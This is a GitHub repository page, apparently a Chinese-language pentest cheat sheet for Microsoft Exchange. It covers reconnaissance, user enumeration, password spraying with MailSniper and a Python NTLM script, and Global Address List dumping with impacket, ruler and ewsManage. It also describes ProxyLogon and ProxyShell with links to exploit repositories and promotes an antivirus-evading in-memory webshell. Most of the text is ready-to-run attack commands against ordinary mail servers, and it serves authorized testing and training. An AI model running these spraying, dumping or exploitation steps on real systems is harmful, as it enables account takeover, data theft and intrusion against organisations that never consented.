kh4sh3i/exchange-penetration-testing

GitHub: kh4sh3i/exchange-penetration-testing

Microsoft Exchange Server 渗透测试指南,涵盖信息收集、暴力破解、GAL 导出及 ProxyLogon/ProxyShell 等高危漏洞的利用方法。

Stars: 139 | Forks: 29

# Exchange 渗透测试 伟大的 Microsoft Exchange 黑客攻击:渗透测试人员指南(Exchange 渗透测试) ## 1) 信息收集 * 本地域名 * https://mail.target.ir/autodiscover/autodiscover.json * X-CalculatedBETarget: exchange-01.target.local * Exchange 版本检测 * https://mail.target.ir/EWS/Exchange.asmx * X-OWA-Version: 15.2.1118.9 * 获取 Exchange 版本 ``` sudo python3 get_exchange_version.py https://mail.target.com ``` ## 2) 暴力破解 ### 使用 MailSniper 枚举 ``` Import-Module MailSniper.ps1 Invoke-DomainHarvestOWA -ExchHostname mail.domain.com ``` ### 密码喷洒 * PasswordSprayOWA : 将尝试连接到 OWA 门户,并使用用户列表和单个密码执行密码喷洒攻击。 * PasswordSprayEWS : 将尝试连接到 EWS 门户,并使用用户列表和单个密码执行密码喷洒攻击。 ``` Import-Module MailSniper.ps1 Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile owa-sprayed-creds.txt Invoke-PasswordSprayEWS -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile sprayed-ews-creds.txt ``` ### python NTLM 密码喷洒 ``` python3 bruteforce/bruteforce.py -t https://mail.domain.com/EWS/Exchange.asmx -U users.txt -p TestPassword ``` ## 3) GAL Microsoft Exchange 全局地址列表 (GAL) 是一个包含 Exchange Server 组织(使用 Microsoft Outlook 收发邮件)内所有终端用户及其各自电子邮件地址的列表。 ### 使用 exchanger.py [impacket](https://github.com/SecureAuthCorp/impacket) ``` python GAL/exchanger.py DomainName/Username:"Password"@mail.domain.com nspi list-tables ``` ### 使用 ruler ``` GAL/ruler-linux64 --url https://mail.domain.com/autodiscover/autodiscover.xml --email Username@domain.com -d DomainName -u Username -p Password --debug --verbose abk dump --output gal.txt ``` ### 使用 ewsManage.py ``` python3 GAL/ewsManage.py mail.domain.com 443 plaintext DomainName Username Password findallpeopl ``` * 为了导出 GAL,我们首先应该枚举出有效的用户名、密码和电子邮件! ## 4) [ProxyLogon](https://github.com/kh4sh3i/ProxyLogon) ProxyLogon 是 CVE-2021-26855 的正式通用名称,这是 Microsoft Exchange Server 中的一个漏洞,允许攻击者绕过身份验证并冒充管理员。我们还将此漏洞与另一个认证后的任意文件写入漏洞(CVE-2021-27065)进行了组合利用,以实现代码执行。 ## 5) [ProxyShell](https://github.com/kh4sh3i/ProxyShell) CVE-2021-34473 Microsoft Exchange Server 远程代码执行漏洞。这种错误的 URL 规范化让我们能够以 Exchange Server 机器账户的身份运行并访问任意后端 URL。尽管这个漏洞不如 ProxyLogon 中的 SSRF 那样强大,并且我们只能操纵 URL 的路径部分 ## 6) WebShell * GhostWebShell (作者:Soroush Dalili (@irsdl)) 仅加载到内存中,AV 无法检测到它! * 它在 proxylogon 和 proxyshell 中很有用 ``` use GhostWebShell.cs ``` #### 最著名的 CVE ``` cve-2021-31206 cve-2021-31207 cve-2021-34473 cve-2021-34523 cve-2021-26855 cve-2021-26857 cve-2021-26858 cve-2021-27065 cve-2015-1635 ``` ### 参考 * [proxylogon orange](https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html) * [proxylogon orange 2](https://blog.orange.tw/2021/08/proxyoracle-a-new-attack-surface-on-ms-exchange-part-2.html) * [python2](https://www.how2shout.com/linux/how-to-install-python-2-7-on-ubuntu-20-04-lts/) * [proxylogon](https://proxylogon.com/)
标签:AI合规, Libemu, Microsoft Exchange, 安全攻防, 密码喷洒, 逆向工具